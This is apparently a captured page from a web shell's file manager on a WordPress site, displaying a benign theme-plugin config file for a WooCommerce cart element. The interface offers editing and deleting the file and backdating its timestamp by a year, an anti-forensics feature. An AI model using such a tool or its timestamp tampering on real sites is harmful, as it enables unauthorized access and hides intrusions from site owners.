文件操作 - cart.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/vec.uaysen.cl/html/wp-content/plugins/us-core/config/elements/cart.php
编辑文件内容
<?php defined( 'ABSPATH' ) OR die( 'This script cannot be accessed directly.' ); /** * Configuration for shortcode: cart */ $misc = us_config( 'elements_misc' ); $design_options_params = us_config( 'elements_design_options' ); /** * @return array */ return array( 'title' => us_translate( 'Cart', 'woocommerce' ), 'icon' => 'fas fa-shopping-cart', 'place_if' => class_exists( 'woocommerce' ), 'params' => us_set_params_weight( // General section array( 'hide_empty' => array( 'type' => 'switch', 'switch_text' => us_translate( 'Hide if cart is empty', 'woocommerce' ), 'std' => FALSE, 'usb_preview' => array( 'toggle_class' => 'hide_empty', ), ), 'vstretch' => array( 'type' => 'switch', 'switch_text' => __( 'Stretch to the full available height', 'us' ), 'std' => TRUE, 'classes' => 'for_above', 'usb_preview' => array( 'toggle_class' => 'height_full', ), ), 'quantity_color_bg' => array( 'title' => __( 'Quantity Badge Background', 'us' ), 'type' => 'color', 'clear_pos' => 'right', 'std' => '_header_middle_text_hover', 'cols' => 2, 'usb_preview' => array( 'css' => 'background', ), ), 'quantity_color_text' => array( 'title' => __( 'Quantity Badge Text', 'us' ), 'type' => 'color', 'clear_pos' => 'right', 'with_gradient' => FALSE, 'std' => '_header_middle_bg', 'cols' => 2, 'usb_preview' => array( 'css' => 'color', ), ), 'dropdown_effect' => array( 'title' => __( 'Dropdown Effect', 'us' ), 'type' => 'select', 'options' => $misc['dropdown_effect_values'], 'std' => 'height', 'usb_preview' => array( 'mod' => 'dropdown', ), ), 'icon' => array( 'title' => __( 'Icon', 'us' ), 'type' => 'icon', 'std' => 'fas|shopping-cart', 'usb_preview' => TRUE, ), 'heading_1' => array( 'title' => __( 'Icon Size', 'us' ), 'type' => 'heading', ), 'size' => array( 'title' => __( 'Desktops', 'us' ), 'type' => 'text', 'std' => '26px', 'cols' => 4, 'classes' => 'for_above', 'usb_preview' => TRUE, ), 'size_laptops' => array( 'title' => __( 'Laptops', 'us' ), 'type' => 'text', 'std' => '24px', 'cols' => 4, 'classes' => 'for_above', 'usb_preview' => TRUE, ), 'size_tablets' => array( 'title' => __( 'Tablets', 'us' ), 'type' => 'text', 'std' => '22px', 'cols' => 4, 'classes' => 'for_above', 'usb_preview' => TRUE, ), 'size_mobiles' => array( 'title' => __( 'Mobiles', 'us' ), 'type' => 'text', 'std' => '20px', 'cols' => 4, 'classes' => 'for_above', 'usb_preview' => TRUE, ), ), $design_options_params ), );
修改文件时间
将文件时间修改为当前时间的前一年
删除文件